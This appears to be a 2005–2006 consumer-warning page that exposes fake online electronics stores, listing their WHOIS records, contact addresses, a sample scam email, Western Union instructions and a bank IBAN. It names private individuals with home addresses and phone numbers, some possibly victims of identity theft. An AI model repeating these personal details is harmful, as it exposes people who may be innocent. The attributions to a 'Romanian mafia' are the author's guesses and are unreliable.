   Updated Date: 18-oct-2005
   Creation Date: 18-oct-2005
   Expiration Date: 18-oct-2006


>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<

Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA

Domain Information
===================
Domain.......: FAROON.COM (DOM-86022)
Status.......: LIVE
Amended......: 2005-10-18 14:22:41
Created......: 2005-10-18 14:22:41
Expires......: 2006-10-18 08:22:41
Registrar....: REGISTRAR-1

Organisation Contact
=======================
ID...........: ORG-139573
Name.........: shakeel farooq
PostAddress..: 75 temple street
PostCode.....: BB9 0TH
PostArea.....: Nelson
Country......: GB
Phone........: +44.2078761425
Fax..........: 
Email........: faaaarooq@yahoo.com

Administrative Contact
=======================
ID...........: UC-139574
Name.........: Shakeel Farooq
PostAddress..: 75 temple street
PostCode.....: BB9 0TH
PostArea.....: Nelson
Country......: GB
Phone........: +44.2078761425
Fax..........: 
Email........: faaaarooq@yahoo.com

Technical Contact
=======================
ID...........: SYS-2509
Name.........: Active 24 ASA - Registry Department
PostAddress..: Fjordalleen 16, Postboks 1519, Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: hostmaster@activeisp.com

Billing Contact
=======================
ID...........: SYS-2508
Name.........: Active 24 ASA - Billing Department
PostAddress..: Fjordalleen 16, P.O. box 1519 Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: billing@activeisp.com

Name Servers
=======================
DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38
DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231

Active 24 is the brand for Active ISP ASA.


Electronics Store Ltd. / ionut.biz

Fake electronics store, probably run by a gang from Romania. The TRUSTe seal and all other certificate seals on the home page are fake, none of them are links to a valid certification. All three branch offices share one number bewtween the phone and fax. All the postal addresses are fake. The domain of this supposedly UK / French / Italian company was registered using a fake address in Ohio, USA.

abuse@megawebservers.com

Electronics Store Ltd.
12 Rotherhithe Street,
Glasgow, D04 89GR,
United Kingdom.

Phone: +44 789 155 4239
Fax: +44 789 155 4239

E-mail: orders@ionut.biz

Electronics Store Ltd.
47, rue de Ponthieu,
43100 Charmonix,
France.

Tel: +33 603 345 4546
Fax: +33 603 345 4546

E-mail: sales@ionut.biz

Electronics Store Ltd.
C.so Ivrea nr. 45/46,
10080,
Aosta (Valle D'Aosta),
Italia.

Tel: +39 347 238 2667
Fax: +39 347 238 2667

E-mail: ordini@ionut.biz

Message headers:

Domain Name:                                 IONUT.BIZ
Domain ID:                                   D10735124-BIZ
Sponsoring Registrar:                        TUCOWS INC.
Sponsoring Registrar IANA ID:                69
Domain Status:                               clientTransferProhibited
Domain Status:                               clientUpdateProhibited
Registrant ID:                               TUMAVYLBKC6JAPBH
Registrant Name:                             Zachary Guren
Registrant Organization:                     Ionut-Biz
Registrant Address1:                         8710 Hunting Hills Drive
Registrant City:                             Kirtland Hills
Registrant State/Province:                   OH
Registrant Postal Code:                      44060
Registrant Country:                          United States
Registrant Country Code:                     US
Registrant Phone Number:                     +1.216749 x6601
Registrant Email:                            colecatherin@yahoo.com
Administrative Contact ID:                   TUMAVYLBKC6JAPBH
Administrative Contact Name:                 Zachary Guren
Administrative Contact Organization:         Ionut-Biz
Administrative Contact Address1:             8710 Hunting Hills Drive
Administrative Contact City:                 Kirtland Hills
Administrative Contact State/Province:       OH
Administrative Contact Postal Code:          44060
Administrative Contact Country:              United States
Administrative Contact Country Code:         US
Administrative Contact Phone Number:         +1.216749 x6601
Administrative Contact Email:                colecatherin@yahoo.com
Billing Contact ID:                          TUMAVYLBKC6JAPBH
Billing Contact Name:                        Zachary Guren
Billing Contact Organization:                Ionut-Biz
Billing Contact Address1:                    8710 Hunting Hills Drive
Billing Contact City:                        Kirtland Hills
Billing Contact State/Province:              OH
Billing Contact Postal Code:                 44060
Billing Contact Country:                     United States
Billing Contact Country Code:                US
Billing Contact Phone Number:                +1.216749 x6601
Billing Contact Email:                       colecatherin@yahoo.com
Technical Contact ID:                        TUMAVYLBKC6JAPBH
Technical Contact Name:                      Zachary Guren
Technical Contact Organization:              Ionut-Biz
Technical Contact Address1:                  8710 Hunting Hills Drive
Technical Contact City:                      Kirtland Hills
Technical Contact State/Province:            OH
Technical Contact Postal Code:               44060
Technical Contact Country:                   United States
Technical Contact Country Code:              US
Technical Contact Phone Number:              +1.216749 x6601
Technical Contact Email:                     colecatherin@yahoo.com
Name Server:                                 NS1.FORTUNECITY.NET
Name Server:                                 NS2.FORTUNECITY.NET
Created by Registrar:                        TUCOWS INC.
Last Updated by Registrar:                   TUCOWS INC.
Domain Registration Date:                    Wed Aug 24 14:19:03 GMT 2005
Domain Expiration Date:                      Thu Aug 23 23:59:59 GMT 2007
Domain Last Updated Date:                    Wed Aug 24 14:19:06 GMT 2005


centrin-online.com

Same scam as ionut.biz and yourpreston.com:

Centrin Inc.
Sales Rep. Luca Monterro
Via Ludovico il Moro No. 4,
20080 Basiglio,
Italy.

Tel: +39 347 238 2667
Fax: +39 347 238 2667

E-mail: sales@centrin-online.com Centrin Inc.
Sales Rep. Louis Jackson
Byrom Street 12,
Liverpool, L3 3AF,
United Kingdom.

Phone: +44 20 7871 6984
Fax: +44 20 7871 6984

E-mail: orders@centrin-online.com

WHOIS details for domain:

   Domain Name: CENTRIN-ONLINE.COM
   Registrar: NETFIRMS, INC.
   Whois Server: whois.netfirms.com
   Referral URL: http://www.netfirms.com
   Name Server: NS1.NETFIRMS.COM
   Name Server: NS2.NETFIRMS.COM
   Status: REGISTRAR-LOCK
   EPP Status: clientDeleteProhibited
   EPP Status: clientTransferProhibited
   EPP Status: clientUpdateProhibited
   Updated Date: 12-Apr-2006
   Creation Date: 12-Apr-2006
   Expiration Date: 12-Apr-2007

Registrant:
  Centrin Online
  Woods, Gordon
  200 E. Henderson
  Porterville, CA 93257
  US
  
  Domain name: centrin-online.com

  Administrative Contact:
    Centrin Online          centrinroger@yahoo.com
    Woods, Gordon
    200 E. Henderson
    Porterville, CA 93257
    US
    5597814640  Fax: 

  Technical Contact:
    Netfirms Inc.          support@netfirms.com
    Manager, Domains
    5160 Yonge St., 1800
    Toronto, ON M2N6L9
    CA
    4166612100  Fax: 4166610700

  Registrar of Record: Netfirms Inc.
  Record expires on 2007-04-12.
  Record created on 2006-04-12.
  Database last updated on 2006-06-01 18:50:01.


yourpreston.com

Same scam as ionut.biz and centrin-online.com:

Preston Electronics Ltd.
12 high street moorsholm, Cleveland, TS12 3BQ,
United Kingdom.

Phone: +44 12 1288 4217
Fax: +44 20 8181 7749

E-mail: sales@yourpreston.com Preston Electronics Ltd.
Via Einaudi no33,
31015 Conegliano,
Italy.

Tel: +39 347 238 2667
Fax: +39 347 238 2667

E-mail:
orders@yourpreston.com

WHOIS details for domain:

   Domain Name: YOURPRESTON.COM
   Registrar: NETFIRMS, INC.
   Whois Server: whois.netfirms.com
   Referral URL: http://www.netfirms.com
   Name Server: NS2.NETFIRMS.COM
   Name Server: NS1.NETFIRMS.COM
   Status: REGISTRAR-LOCK
   EPP Status: clientDeleteProhibited
   EPP Status: clientTransferProhibited
   EPP Status: clientUpdateProhibited
   Updated Date: 24-May-2006
   Creation Date: 24-May-2006
   Expiration Date: 24-May-2007


Registrant:
  Preston Ltd.
  Dillon, Melissa
  759 lask dr
  Yuba City, CA 95991
  US
  
  Domain name: yourpreston.com

  Administrative Contact:
    Preston Ltd.          yourpreston@yahoo.com
    Dillon, Melissa
    759 lask dr
    Yuba City, CA 95991
    US
    530-415-8024  Fax: 

  Technical Contact:
    Netfirms Inc.          support@netfirms.com
    Manager, Domains
    5160 Yonge St., 1800
    Toronto, ON M2N6L9
    CA
    4166612100  Fax: 4166610700

  Registrar of Record: Netfirms Inc.
  Record expires on 2007-05-24.
  Record created on 2006-05-24.
  Database last updated on 2006-06-01 18:50:01.


Axus Electronics Ltd / axusmobile.com

Fake electronics store, probably run by a gang from Romania. The TRUSTe seal and all other certificate seals on the home page are fake, none of them are links to a valid certification. All three branch offices share one number bewtween the phone and fax. All the postal addresses are fake. All phone numbers are the same as in the ionut.biz scam.

Axus Electronics Ltd.
195, rue Saint-Jacques - 75005 Paris,
France.

Tel: +33 603 345 4546
Fax: +33 603 345 4546

E-mail: sales@axusmobile.com Axus Electronics Ltd.
19 Russel Street,
Windsor Berks, SL4 1HQ,
United Kingdom.

Phone: +44 789 155 4239
Fax: +44 789 155 4239

E-mail: orders@axusmobile.com

Per i clienti italiani (e per quelli residenti sul nostro territorio) abbiamo creato una e-mail apposta, in modo da velocizzare i tempi della transazione. Contattaci per un'ordine, un dubbio, un problema. Il nostro staff e sempre pronto ad aiutarti

Axus Electronics Ltd.
Plan Felinaz 141, Charvensod, Aosta,
Italy.

Tel: +39 349 896 4275
Fax: +39 349 896 4275

E-mail: ordini@axusmobile.com

Message headers:

   Domain Name: AXUSMOBILE.COM
   Registrar: EASYSPACE LTD
   Whois Server: whois.easyspace.com
   Referral URL: http://www.easyspace.com
   Name Server: NS4.EASYSPACE.COM
   Name Server: NS5.EASYSPACE.COM
   Status: REGISTRAR-LOCK
   Updated Date: 29-nov-2005
   Creation Date: 29-nov-2005
   Expiration Date: 29-nov-2006

Registrant:
 lyn  norwood
 38 Peronne Road
 Portsmouth,  PO3 5LD
 UK

 Domain name: AXUSMOBILE.COM

 Administrative Contact:
    norwood, lyn  schrabal35@yahoo.com
    38 Peronne Road
    Portsmouth,  PO3 5LD
    UK
    +44.8707550009    Fax: +44.1419316401

 Technical Contact:
    Master, Host  hostmaster@easyspace.com
    Lister Pavilion
    Kelvin Campus
    West of Scotland Science Park
    Glasgow, Scotland  G20 0SP
    GB
    +44.08707555066    Fax: +44.1419316785



 Registrar of Record: Easyspace Ltd.
 Record last updated on 29-Nov-2005.
 Record expires on 29-Nov-2006.
 Record created on 29-Nov-2005.

 Domain servers in listed order:
    NS4.EASYSPACE.COM   84.22.161.11
    NS5.EASYSPACE.COM   62.128.193.201


 Domain status: REGISTRAR-LOCK


tmtsystemsuk.com

This is a fake electronics store claiming to be based in London, UK. It's probably run by one of the Romanian mafias that dominate these scams. Here are some of the red flags raised by the site:

  • Prices by default are denominated in euro even though this is supposed to be a UK company. No legitimate company in the UK will denominate its prices in anything other than Pound Sterling, because that's the legal currency in their country.
  • Generally they only accept Western Union (WU) for payment, which is a no-no on online transactions. It's not safe for the buyer. You don't normally come across legitimate online businesses that even mention Western Union as a mode of payment, let alone insist on it as the only method they accept. This store does not accept credit cards or PayPal, which are safe modes of payment for buyers. They only accept bank wire transfers on amounts over 2000 UKL.
  • If you order something for a few hundred euro there will be a 500 euro surcharge for small orders, with no explanation.
  • The domain "tmtsystemsuk.com" is brand new, it was only created on 27-Oct-2005. Such recent domains are typical for scams. Most company domains are much, much older. The name is unusual for a legitimate UK company. One would expect a UK domain like tmtsystems.co.uk, which is not currently taken.
  • Email account tmtsystems@yahoo.co.uk was created the following day, 28-Oct-2005. It's interesting that they used a free webmail address even though they have their own domain. Probably they are accessing from Internet cafes and hence need a webmailer such as Yahoo.
  • The "contact us" page has no phone number, only a fax (probably a rented fax mailbox).

Here are the Western Union payment instructions (note that the postal address of the recipient is meaningless in a WU transfer):

Make Payable To:
First Name: Philip
Last Name: Sanders
Adress: 47, Hackney Road
Zip Code: E2 7NX
City: London
Country: United Kingdom
Phone: +442076811542
Your order will not ship until we receive MCTN payment number !.

Domain registration details. Note the absence of a street address and the fake phone number.

   Domain Name: TMTSYSTEMSUK.COM
   Registrar: WILD WEST DOMAINS, INC.
   Whois Server: whois.wildwestdomains.com
   Referral URL: http://www.wildwestdomains.com
   Name Server: NS1.TMTSYSTEMSUK.COM
   Name Server: NS2.TMTSYSTEMSUK.COM
   Status: REGISTRAR-LOCK
   Updated Date: 28-oct-2005
   Creation Date: 27-oct-2005
   Expiration Date: 27-oct-2006


>>> Last update of whois database: Wed, 23 Nov 2005 16:31:46 EST <<<

Registrant:
   TMT Systems LTD
   GROUND FLOOR
   London, LD E2 7NX
   United Kingdom

   Registered through: Mad Dog Domains and Cattle Company
   Domain Name: TMTSYSTEMSUK.COM
      Created on: 27-Oct-05
      Expires on: 27-Oct-06
      Last Updated on: 27-Oct-05

   Administrative Contact:
      Kent, Steve  steve_kent2k3@yahoo.com
      TMT Systems LTD
      GROUND FLOOR
      London, LD E2 7NX
      United Kingdom
      1234270505      Fax -- 
   Technical Contact:
      Kent, Steve  steve_kent2k3@yahoo.com
      TMT Systems LTD
      GROUND FLOOR
      London, LD E2 7NX
      United Kingdom
      1234270505      Fax -- 

   Domain servers in listed order:
      NS1.TMTSYSTEMSUK.COM
      NS2.TMTSYSTEMSUK.COM


electro-zara.com

This scam is run by the same gang as Extra Mall Inc. / Electrowork / extra-mall.com (created=2005-10-27) and electrolucs.com.

Sample email from this fake company:

From: <office@electro-zara.com>
To: "Firstname Lastname" <emailaddress>
Sent: Thursday, 16 February, 2006
Subject: sony psp

Dear Customer,

I need to know your final order and your full name and the address were
the shipping will be made.I prefer to send you first the packege and we
will use the shipping company such a third part.After i will send you
the psp's and you will have the tracking number from me you will have to
send the payment to the shipping company.after the delivery will be made
to your address you will inspect the psp's 5 days.in this time you will
see if the psp's are good or not.after that you will confirm to the
shipping company and they will send me the payment.in this way i will
have protection for my goods and you for your money.All psp's are brand
new in original box with 1 year international warranty.I wait for your
fast email if you are interested


Thank you!!
damien pablos sales manager

Fake domain registration details:

Domain name: electro-zara.com

Registrant:
   Michael Mikhail (9QF8K) electrozara@yahoo.com
   1924 villa del dios glen
   Escondido,    CA    92029
   United States
   Phone: (760)9982356 x 

Administrative Contact:
   Michael Mikhail (JP4LH) electrozara@yahoo.com
   1924 villa del dios glen
   Escondido,    CA    92029
   United States
   Phone: (760)9982356 x 

Technical Contact:
   Michael Mikhail (9QF8K) electrozara@yahoo.com
   1924 villa del dios glen
   Escondido,    CA    92029
   United States
   Phone: (760)9982356 x 

Billing Contact:
   Michael Mikhail (UM748) electrozara@yahoo.com
   1924 villa del dios glen
   Escondido,    CA    92029
   United States
   Phone: (760)9982356 x 

Record last updated on 2006-01-13 00:00:00
Record created on 2006-01-13 00:00:00
Record expires on 2007-01-13 00:00:00

Domain servers in listed order:
   ns1.abac.com   216.55.128.4
   ns2.abac.com

Registration Service Provider: AplusNet(APRO)
   apro-n4e-racc@abac.com
   
   http://www.aplus.net

Registrar: NAMES4EVER, http://www.names4ever.com

   Domain Name: ELECTRO-ZARA.COM
   Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER
   Whois Server: whois.names4ever.com
   Referral URL: http://www.names4ever.com
   Name Server: NS2.ABAC.COM
   Name Server: NS1.ABAC.COM
   Status: ACTIVE
   Updated Date: 13-jan-2006
   Creation Date: 13-jan-2006
   Expiration Date: 13-jan-2007


store-gsm.com

Fake electronics store. Claims to based in Greece and a few years old, but registered using a US personal address a few weeks ago.

Contact
Store-GSM Inc.
Petropoylak'h 3-5
Athens Tk104 45
Greece

WHOIS details for domain:

   Domain Name: STORE-GSM.COM
   Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER
   Whois Server: whois.names4ever.com
   Referral URL: http://www.names4ever.com
   Name Server: NS2.ABAC.COM
   Name Server: NS1.ABAC.COM
   Status: ACTIVE
   EPP Status: ok
   Updated Date: 02-Jun-2006
   Creation Date: 02-Jun-2006
   Expiration Date: 02-Jun-2007


Domain name: store-gsm.com

Registrant:
   Peter Kohama (MLBHT) tridimensional2@yahoo.com
   4315 W. 182nd St. #220
   Torrance,    CA    90504
   United States
   Phone: +1 (310) 542-0269

Administrative Contact:
   Peter Kohama (HR24K) tridimensional2@yahoo.com
   4315 W. 182nd St. #220
   Torrance,    CA    90504
   United States
   Phone: +1 (310) 542-0269

Technical Contact:
   Peter Kohama (MLBHT) tridimensional2@yahoo.com
   4315 W. 182nd St. #220
   Torrance,    CA    90504
   United States
   Phone: +1 (310) 542-0269

Billing Contact:
   Peter Kohama (SQDXU) tridimensional2@yahoo.com
   4315 W. 182nd St. #220
   Torrance,    CA    90504
   United States
   Phone: +1 (310) 542-0269

Record last updated on 2006-06-02 00:00:00
Record created on 2006-06-02 00:00:00
Record expires on 2007-06-02 00:00:00

Domain servers in listed order:
   ns1.abac.com   216.55.128.4
   ns2.abac.com

Registration Service Provider: AplusNet(APRO)
   apro-n4e-racc@abac.com
   
   http://www.aplus.net

Registrar: NAMES4EVER, http://www.names4ever.com


ActivShoper@yahoo.es

"ActivShoper", like "GSM Mobile", is another ficticious electronics supplier in Spain run by the Romanian mafia. They use a Spanish Yahoo address but the IP address from which they reply points to a network in Romania and the name of the holder of the bank account through which they collect funds from victims is Romanian (probably a stolen passport). It's listed on an eBay scammers list.

Av. Gimeno Tom&#225;s, 9 - 12560 Benicasim , Espa&#241;a
Fax: 34 944 34 1541
ActivShoper@yahoo.es
vrajitorescu@yahoo.com
laptop4sell2007@gmail.com
=
IP address 86.107.203.74 (Romania)
=
Name: Mindra Stament Bogdan Nicolae
Address: CL/ Poeta Marco V Marcial
City: Zaragoza 50005
Country: Spain
Bank Name: Caja Inmaculada
IBAN# ES47 2086 0106 3311 1000 4161
Swift Code: CECAESMM086
=
(<a href="https://joewein.net/fraud/fraud-mobile-phone-scams.htm">fake electronics store</a>)

WHOIS details for domain:

inetnum:        86.107.200.0 - 86.107.203.255
netname:        SC-DECK-INTERNET-SRL
descr:          SC DECK Internet SRL
descr:          Dezrobirii 15
descr:          Bucuresti Sector 6
country:        ro
admin-c:        CD298-RIPE
tech-c:         OC496-RIPE
status:         ASSIGNED PA
remarks:        Registered trough http://www.jump.ro/ip.html
mnt-by:         RO-MNT
mnt-lower:      RO-MNT
mnt-routes:     AS12677-MNT
source:         RIPE # Filtered

jwSpamSpy
Are you sick of spam too? Do you want it stopped now?
Try jwSpamSpy, the spamfilter we use to track the spammers!
Free 30-day trial version available now!